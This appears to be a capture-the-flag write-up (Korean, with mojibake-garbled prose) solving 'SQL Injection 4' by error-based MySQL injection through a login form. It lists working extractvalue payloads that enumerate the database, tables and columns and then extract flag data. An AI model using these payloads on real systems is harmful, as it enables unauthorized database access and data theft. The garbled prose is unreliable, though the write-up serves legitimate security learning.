[SegFault] (SQLi)
SQL Injection 4
flag๋ฅผ ์ฐพ์ผ์ธ์!
๋ฌธ์ ํ์
์์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด ์๋์ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ์ฃผ์ด์ง ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ ํด๋ณธ๋ค.
๊ณ์ ์ ๋ณด : normaltic / 1234
๋ก๊ทธ์ธ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํ์ด์ง๋ก ๋์ด๊ฐ๋ค.
๋ก๊ทธ์ธ ์ดํ์ ๋ถ๋ถ์๋ ๋ฑํ ์ ๋ ฅ ๋ถ๋ถ์ด ๋ณด์ด์ง ์๋๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ก๊ทธ์ธ ์ฐฝ์์ SQL Injection์ด ๊ฐ๋ฅํ์ง ํ์ธํด๋ณด์.
SQL Injection Point
'and'1'='1์ ๋ฃ์ด์ค ์ํ๋ก๋ ์ ์ ๋์ํ๋์ง ํ์ธํ๋ค.
normaltic'and'1'='1 / 1234
์์ id / pw ๋ก๋ ๋ก๊ทธ์ธ๋๋์ง ํ์ธํ ๊ฒฐ๊ณผ ์ ์์ ์ผ๋ก ๋ก๊ทธ์ธ๋๋ ๊ฒ์ ํ์ธํ๋ค.
๊ทธ๋ ์ง๋ง ์ฌ๊ธฐ์ ๋ก๊ทธ์ธ์ ๋ํ ๊ฒฐ๊ณผ ์ธ์ SQL Injection ๋ฐฉ์์ ๊ฒฐ์ ํ ๋ฐฉ๋ฒ์ด ์๋์ง ํ์ธํด์ผ ํ๋ค.
๊ทธ๋์ ' ๋ฅผ ์ ๋ ฅํ์ฌ ' ์ ๊ฐ์๊ฐ ๋ง์ง ์๋๋ก ์ ๋ํ์ฌ syntax error๋ฅผ ๋ฐ์ ์์ผ๋ณธ๋ค.
๊ทธ ๊ฒฐ๊ณผ ์๋ฌ ๋ฉ์์ง๊ฐ ๋ก๊ทธ์ธ์ฐฝ ํ๋จ๋ถ์ ๊ทธ๋๋ก ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก Error Based SQL Injection์ ์งํ ์ ์ฐจ(Process)์ ๋ฐ๋ผ ์งํํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
1. SQL Injection Point ์ฐพ๊ธฐ
์์์ Error ์ ๋ณด๊ฐ ํ๋ฉด์ ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
2. Error๋ฅผ ์ ๋ฐํ๋ ํจ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ MySQL์ ์ฌ์ฉํ๋ค. MySQL์ ์๋ฌ ์ ๋ฐ ํจ์๋ extractvalue ์ด๋ค.
3. ๊ณต๊ฒฉ Format ์์ฑํ๊ธฐ
' and extractvalue('1',concat(0x3a,(______))) and '1'='1
์ด์ ์์ ๋น์นธ์ ์ํ๋ SQL ๊ตฌ๋ฌธ์ ์ฝ์ ํ๋ฉด ๋๋ค.
4. DB ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค TABLE๊ณผ COLUMN์ด ์๋์ง ์์๋ด๊ธฐ ์ํด ์ด๋ค DB๊ฐ ์กด์ฌํ๋์ง ๋ถํฐ ํ์ธํ๋ค.
select database()
์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ฃ์ด์ ์ ๋ ตํด๋ณธ๋ค.
' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
Could not update data: XPATH syntax error: ':sqli_2_1'
๊ทธ ๊ฒฐ๊ณผ DB๋ sqli_2_1์์ ํ์ธํ ์ ์์๋ค.
5. Table ์ด๋ฆ ํ์ธํ๊ธฐ
Table์ ํ์ธํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select table_name from information_schema.tables where table_schema = 'sqli_2_1'
๊ทธ๋ฌ๋ฏ๋ก ์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด๋ณธ๋ค.
' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2_1'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ ์๋ฌ๊ฐ ๋ฐ์ํ์๋ค.
Could not update data: Subquery returns more than 1 row
์๋ฌ์ ๋ด์ฉ์ ํ์ธํด๋ณด๋ฉด ์ฌ๋ฌํ์ด ๋์ค๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ ์๋ฌ ์๋ค.
limit์ ์ด์ฉํ์ฌ ํ์ค์ฉ๋ง ์ถ๋ ฅํด์ค ํ์๊ฐ ์์ด ๋ณด์ธ๋ค.
๊ทธ์ ์ TABLE์ ๊ฐ์๋ฅผ ํ์ธํด๋ณด์.
' and extractvalue('1',concat(0x3a,(select count(table_name) from information_schema.tables where table_schema = 'sqli_2_1'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
2๊ฐ์ Table์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ์๋ค. ๊ทธ๋ผ ์ด์ limit ์ ์ด์ฉํ์ฌ (0~1) ํ์ธํด๋ณด์
select table_name from information_schema.tables where table_schema = 'sqli_2_1' limit 0,1
์ด๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.
flag_table ๊ณผ member ๋ผ๋ TABLE์ด ํ์ธ๋์๋ค.
6. Column ์ด๋ฆ ํ์ธํ๊ธฐ
์ฐ์ flag_table์ ํ์ธํด๋ณด๊ธฐ๋ก ํ๋ค.
์ผ๋จ ํด๋น TABLE ๋ด๋ถ์ ๋ช ๊ฐ์ COLUMN์ด ์๋์ง ํ์ธํด๋ณธ๋ค.
' and extractvalue('1',concat(0x3a,(select count(column_name) from information_schema.columns where table_name = 'flag_table'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ 8๊ฐ์ COLUMN์ผ๋ก ์ด๋ฃจ์ด์ง ๊ฒ์ ํ์ธํ ์ ์์๋ค.
limit๋ฅผ ์ด์ฉํ์ฌ (0~7) COLUMN ์ด๋ฆ๋ค์ ํ์ธํด๋ณด์. ์ฌ์ฉํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1
์ด๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์์ ์ ๋ ฅํด์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
x' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
Could not update data: XPATH syntax error: ':flag1'
8๊ฐ์ COLUMN์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
flag1 / flag2 / flag3 / flag4 / flag5 / flag6 / flag7 / flag8
flag 1~8์ ์ด๋ฆ์ ๊ฐ๋ COLUMN๋ค์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
7. Data ์ถ๋ ฅํ๊ธฐ
๊ทธ๋ผ ์ด์ ๊ฐ COLUMN์ DATA๋ฅผ ์ถ๋ ฅํด๋ณด์..
select flag (1~8) from flag_table
flag1 ~ flag8์ ๋ํ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
' and extractvalue('1',concat(0x3a,(select flag1 from flag_table))) and '1'='1
' and extractvalue('1',concat(0x3a,(select flag2 from flag_table))) and '1'='1
' and extractvalue('1',concat(0x3a,(select flag3 from flag_table))) and '1'='1
' and extractvalue('1',concat(0x3a,(select flag4 from flag_table))) and '1'='1
' and extractvalue('1',concat(0x3a,(select flag5 from flag_table))) and '1'='1
' and extractvalue('1',concat(0x3a,(select flag6 from flag_table))) and '1'='1
' and extractvalue('1',concat(0x3a,(select flag7 from flag_table))) and '1'='1
' and extractvalue('1',concat(0x3a,(select flag8 from flag_table))) and '1'='1
ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ์ด 8์กฐ๊ฐ์ผ๋ก ๋๋์ด์ ธ์๋ flag ์กฐ๊ฐ์ด ์์๊ณ ์์๋๋ก ์ด์ด๋ถ์ธ ๊ฒฐ๊ณผ๊ฐ flag๋ก์ ์์ฑ๋์๋ค.
๊ฒฐ๊ณผ์ ์ผ๋ก Error Based SQLi๋ฅผ ํตํด flag๋ฅผ ํ๋ํ๋๋ฐ ์ฑ๊ณตํ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์